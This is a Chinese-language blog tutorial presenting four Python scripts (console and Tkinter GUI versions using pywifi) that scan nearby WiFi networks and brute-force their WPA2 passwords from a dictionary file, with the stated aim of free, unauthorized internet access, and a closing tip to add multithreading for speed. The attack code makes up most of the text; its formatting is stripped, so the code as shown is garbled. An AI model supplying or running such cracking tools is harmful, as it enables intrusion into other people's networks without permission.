用Python破解WiFi密码,太刺激了
本文将记录学习下如何通过Python脚本实现WIFI密码的暴力破解,从而实现免费蹭网。
无图形界面
先来看看没有图形界面版的爆破脚本。
WIFI爆破
importpywififrompywifiimportconstimporttimeimportdatetime测试连接,返回链接结果defwifiConnect(pwd):抓取网卡接口wifipywifi。PyWiFi()获取第一个无线网卡ifaceswifi。interfaces()〔0〕断开所有连接ifaces。disconnect()time。sleep(1)wifistatusifaces。status()ifwifistatusconst。IFACEDISCONNECTED:创建WiFi连接文件profilepywifi。Profile()要连接WiFi的名称profile。ssidTr0e网卡的开放状态profile。authconst。AUTHALGOPENwifi加密算法,一般wifi加密算法为wpsprofile。akm。append(const。AKMTYPEWPA2PSK)加密单元profile。cipherconst。CIPHERTYPECCMP调用密码profile。keypwd删除所有连接过的wifi文件ifaces。removeallnetworkprofiles()设定新的连接文件tepprofileifaces。addnetworkprofile(profile)ifaces。connect(tepprofile)wifi连接时间time。sleep(2)ififaces。status()const。IFACECONNECTED:returnTrueelse:returnFalseelse:print(已有wifi连接)读取密码本defreadPassword():successFalseprint(WIFI破解)密码本路径pathpwd。txt打开文件fileopen(path,r)startdatetime。datetime。now()whileTrue:try:pwdfile。readline()去除密码的末尾换行符pwdpwd。strip()boolwifiConnect(pwd)ifbool:print(〔〕密码已破解:,pwd)print(〔〕WiFi已自动连接!!!)successTruebreakelse:跳出当前循环,进行下一次循环print(正在破解SSID为s的WIFI密码,当前校验的密码为:s(Tr0e,pwd))except:continueenddatetime。datetime。now()if(success):print(〔〕本次破解WIFI密码一共用了多长时间:{}。format(endstart))else:print(〔〕很遗憾未能帮你破解出当前指定WIFI的密码,请更换密码字典后重新尝试!)exit(0)ifnamemain:readPassword()
代码运行效果:
脚本优化
以上脚本需内嵌WIFI名、爆破字典路径,缺少灵活性。下面进行改造优化:
importpywifiimporttimefrompywifiimportconstWiFi扫描模块defwifiscan():初始化wifiwifipywifi。PyWiFi()使用第一个无线网卡interfacewifi。interfaces()〔0〕开始扫描interface。scan()foriinrange(4):time。sleep(1)print(r扫描可用WiFi中,请稍后(str(3i),end))print(r扫描完成!38)print(r{:4}{:6}{}。format(编号,信号强度,wifi名))扫描结果,scanresults()返回一个集,存放的是每个wifi对象bssinterface。scanresults()存放wifi名的集合wifinamesetset()forwinbss:解决乱码问题wifinameandsignal(100w。signal,w。ssid。encode(rawunicodeescape)。decode(utf8))wifinameset。add(wifinameandsignal)存入列表并按信号排序wifinamelistlist(wifinameset)wifinamelistsorted(wifinamelist,keylambdaa:a〔0〕,reverseTrue)num0格式化输出whilenumlen(wifinamelist):print(r{:6d}{:8d}{}。format(num,wifinamelist〔num〕〔0〕,wifinamelist〔num〕〔1〕))num1print(38)返回wifi列表returnwifinamelistWIFI破解模块defwifipasswordcrack(wifiname):字典路径wifidicpathinput(请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:)withopen(wifidicpath,r)asf:遍历密码forpwdinf:去除密码的末尾换行符pwdpwd。strip()创建wifi对象wifipywifi。PyWiFi()创建网卡对象,为第一个wifi网卡interfacewifi。interfaces()〔0〕断开所有wifi连接interface。disconnect()等待其断开whileinterface。status()4:当其处于连接状态时,利用循环等待其断开pass创建连接文件(对象)profilepywifi。Profile()wifi名称profile。ssidwifiname需要认证profile。authconst。AUTHALGOPENwifi默认加密算法profile。akm。append(const。AKMTYPEWPA2PSK)profile。cipherconst。CIPHERTYPECCMPwifi密码profile。keypwd删除所有wifi连接文件interface。removeallnetworkprofiles()设置新的wifi连接文件tmpprofileinterface。addnetworkprofile(profile)开始尝试连接interface。connect(tmpprofile)starttimetime。time()whiletime。time()starttime1。5:接口状态为4代表连接成功(当尝试时间大于1。5秒之后则为错误密码,经测试测正确密码一般都在1。5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)ifinterface。status()4:print(fr连接成功!密码为:{pwd})exit(0)else:print(fr正在利用密码{pwd}尝试破解。,end)主函数defmain():退出标致exitflag0目标编号targetnum1whilenotexitflag:try:print(WiFi万能钥匙。center(35,))调用扫描模块,返回一个排序后的wifi列表wifilistwifiscan()让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理chooseexitflag0whilenotchooseexitflag:try:targetnumint(input(请选择你要尝试破解的wifi:))如果要选择的wifi编号在列表内,继续二次判断,否则重新输入iftargetnuminrange(len(wifilist)):二次确认whilenotchooseexitflag:try:choosestr(input(f你选择要破解的WiFi名称是:{wifilist〔targetnum〕〔1〕},确定吗?(YN)))对用户输入进行小写处理,并判断ifchoose。lower()y:chooseexitflag1elifchoose。lower()n:break处理用户其它字母输入else:print(只能输入YN哦o()o)处理用户非字母输入exceptValueError:print(只能输入YN哦o()o)退出破解ifchooseexitflag1:breakelse:print(请重新输入哦())exceptValueError:print(只能输入数字哦o()o)密码破解,传入用户选择的wifi名称wifipasswordcrack(wifilist〔targetnum〕〔1〕)print(38)exitflag1exceptExceptionase:print(e)raiseeifnamemain:main()
脚本运行效果如下:
上述代码实现了依据信号强度枚举当前附近的所有WIFI名称,并且可供用户自主选择需要暴力破解的WIFI,同时还可灵活指定暴力破解的字典,相对而言体验感提升了不少。进一步也可以将上述脚本打包生成exe文件,双击运行效果如下:
图形化界面
下面基于Python的GUI图形界面开发库Tkinter优化上述脚本,实现友好的可视化WIFI暴力破解界面工具。关于Tkinter库的语法可参见:PythonGUI编程(Tkinter)。
简单版UI
fromtkinterimportfrompywifiimportconstimportpywifiimporttime主要步骤:1、获取第一个无线网卡2、断开所有的wifi3、读取密码本4、设置睡眠时间defwificonnect(str,wifiname):窗口无线对象wifipywifi。PyWiFi()抓取第一个无线网卡ifaceswifi。interfaces()〔0〕断开所有的wifiifaces。disconnect()time。sleep(1)ififaces。status()const。IFACEDISCONNECTED:创建wifi连接文件profilepywifi。Profile()profile。ssidwifinamewifi的加密算法profile。akm。append(const。AKMTYPEWPA2PSK)wifi的密码profile。keystr网卡的开发profile。authconst。AUTHALGOPEN加密单元,这里需要写点加密单元否则无法连接profile。cipherconst。CIPHERTYPECCMP删除所有的wifi文件ifaces。removeallnetworkprofiles()设置新的连接文件tepprofileifaces。addnetworkprofile(profile)连接ifaces。connect(tepprofile)time。sleep(3)ififaces。status()const。IFACECONNECTED:returnTrueelse:returnFalsedefreadPwd():获取wiif名称wifinameentry。get()。strip()pathr。pwd。txtfileopen(path,r)whileTrue:try:读取mystrfile。readline()。strip()测试连接boolwificonnect(mystr,wifiname)ifbool:text。insert(END,密码正确mystr)text。see(END)text。update()file。close()breakelse:text。insert(END,密码错误mystr)text。see(END)text。update()except:continue创建窗口rootTk()root。title(wifi破解)root。geometry(500x400)标签labelLabel(root,text输入要破解的WIFI名称:)定位label。grid()输入控件entryEntry(root,font(微软雅黑,14))entry。grid(row0,column1)列表控件textListbox(root,font(微软雅黑,14),width40,height10)text。grid(row1,columnspan2)按钮buttonButton(root,text开始破解,width20,height2,commandreadPwd)button。grid(row2,columnspan2)显示窗口root。mainloop()
脚本运行效果:
UI升级版
以上图形界面未允许选择密码字典,下面进行优化升级:
fromtkinterimportfromtkinterimportttkimportpywififrompywifiimportconstimporttimeimporttkinter。filedialog在Gui中打开文件浏览importtkinter。messagebox打开tkiner的消息提醒框classMYGUI():definit(self,initwindowname):self。initwindownameinitwindowname密码文件路径self。getvalueStringVar()设置可变内容获取破解wifi账号self。getwifivalueStringVar()获取wifi密码self。getwifimmvalueStringVar()抓取网卡接口self。wifipywifi。PyWiFi()抓取第一个无线网卡self。ifaceself。wifi。interfaces()〔0〕测试链接断开所有链接self。iface。disconnect()time。sleep(1)休眠1秒测试网卡是否属于断开状态assertself。iface。status()in〔const。IFACEDISCONNECTED,const。IFACEINACTIVE〕defstr(self):自动会调用的函数,返回自身的网卡return(WIFI:s,s)(self。wifi,self。iface。name())设置窗口defsetinitwindow(self):self。initwindowname。title(WIFI破解工具)self。initwindowname。geometry(500200)labelframeLabelFrame(width400,height200,text配置)框架,以下对象都是对于labelframe中添加的labelframe。grid(column0,row0,padx10,pady10)self。searchButton(labelframe,text搜索附近WiFi,commandself。scanswifilist)。grid(column0,row0)self。pojieButton(labelframe,text开始破解,commandself。readPassWord)。grid(column1,row0)self。labelLabel(labelframe,text目录路径:)。grid(column0,row1)self。pathEntry(labelframe,width12,textvariableself。getvalue)。grid(column1,row1)self。fileButton(labelframe,text添加密码文件目录,commandself。addmmfile)。grid(column2,row1)self。wifitextLabel(labelframe,textWiFi账号:)。grid(column0,row2)self。wifiinputEntry(labelframe,width12,textvariableself。getwifivalue)。grid(column1,row2)self。wifimmtextLabel(labelframe,textWiFi密码:)。grid(column2,row2)self。wifimminputEntry(labelframe,width10,textvariableself。getwifimmvalue)。grid(column3,row2,stickyW)self。wifilabelframeLabelFrame(textwifi列表)self。wifilabelframe。grid(column0,row3,columnspan4,stickyNSEW)定义树形结构与滚动条self。wifitreettk。Treeview(self。wifilabelframe,showheadings,columns(a,b,c,d))self。vbarttk。Scrollbar(self。wifilabelframe,orientVERTICAL,commandself。wifitree。yview)self。wifitree。configure(yscrollcommandself。vbar。set)表格的标题self。wifitree。column(a,width50,anchorcenter)self。wifitree。column(b,width100,anchorcenter)self。wifitree。column(c,width100,anchorcenter)self。wifitree。column(d,width100,anchorcenter)self。wifitree。heading(a,textWiFiID)self。wifitree。heading(b,textSSID)self。wifitree。heading(c,textBSSID)self。wifitree。heading(d,textsignal)self。wifitree。grid(row4,column0,stickyNSEW)self。wifitree。bind(Double1,self。onDBClick)self。vbar。grid(row4,column1,stickyNS)搜索wifidefscanswifilist(self):扫描周围wifi列表开始扫描print(开始扫描附近wifi。。。)self。iface。scan()time。sleep(15)在若干秒后获取扫描结果scanresself。iface。scanresults()统计附近被发现的热点数量numslen(scanres)print(数量:s(nums))实际数据self。showscanswifilist(scanres)returnscanres显示wifi列表defshowscanswifilist(self,scansres):forindex,wifiinfoinenumerate(scansres):self。wifitree。insert(,end,values(index1,wifiinfo。ssid,wifiinfo。bssid,wifiinfo。signal))添加密码文件目录defaddmmfile(self):self。filenametkinter。filedialog。askopenfilename()self。getvalue。set(self。filename)Treeview绑定事件defonDBClick(self,event):self。selsevent。widget。selection()self。getwifivalue。set(self。wifitree。item(self。sels,values)〔1〕)读取密码字典,进行匹配defreadPassWord(self):self。getFilePathself。getvalue。get()self。getwifissidself。getwifivalue。get()pwdfilehanderopen(self。getFilePath,r,errorsignore)whileTrue:try:self。pwdStrpwdfilehander。readline()ifnotself。pwdStr:breakself。bool1self。connect(self。pwdStr,self。getwifissid)ifself。bool1:self。res〔〕密码正确!wifi名:s,匹配密码:s(self。getwifissid,self。pwdStr)self。getwifimmvalue。set(self。pwdStr)tkinter。messagebox。showinfo(提示,破解成功!!!)print(self。res)breakelse:self。res〔〕密码错误!wifi名:s,匹配密码:s(self。getwifissid,self。pwdStr)print(self。res)time。sleep(3)except:continue对wifi和密码进行匹配defconnect(self,pwdStr,wifissid):创建wifi链接文件self。profilepywifi。Profile()self。profile。ssidwifissidwifi名称self。profile。authconst。AUTHALGOPEN网卡的开放self。profile。akm。append(const。AKMTYPEWPA2PSK)wifi加密算法self。profile。cipherconst。CIPHERTYPECCMP加密单元self。profile。keypwdStr密码self。iface。removeallnetworkprofiles()删除所有的wifi文件self。tmpprofileself。iface。addnetworkprofile(self。profile)设定新的链接文件self。iface。connect(self。tmpprofile)链接time。sleep(5)ifself。iface。status()const。IFACECONNECTED:判断是否连接上isOKTrueelse:isOKFalseself。iface。disconnect()断开time。sleep(1)检查断开状态assertself。iface。status()in〔const。IFACEDISCONNECTED,const。IFACEINACTIVE〕returnisOKdefguistart():initwindowTk()uiMYGUI(initwindow)print(ui)ui。setinitwindow()initwindow。mainloop()ifnamemain:guistart()
脚本运行效果如下:
以上基于Python的GUI图形界面开发库Tkinter,实际上Python的GUI编程可以借助PyQt5来自动生成UI代码,相关教程可参见:PyQt5设计GUI(一)pycharm中配置pyqt5。
总结
本文学习了Python暴力破解WIFI密码的方法、以及PythonGUI图形化编程的基础使用。
所演示的代码的不足在于均没有使用多线程进行WIFI连接测试,实际上因为WIFI连接测试需要一定的耗时(35秒),故使用多线程将能减少暴力破解过程的等待时间。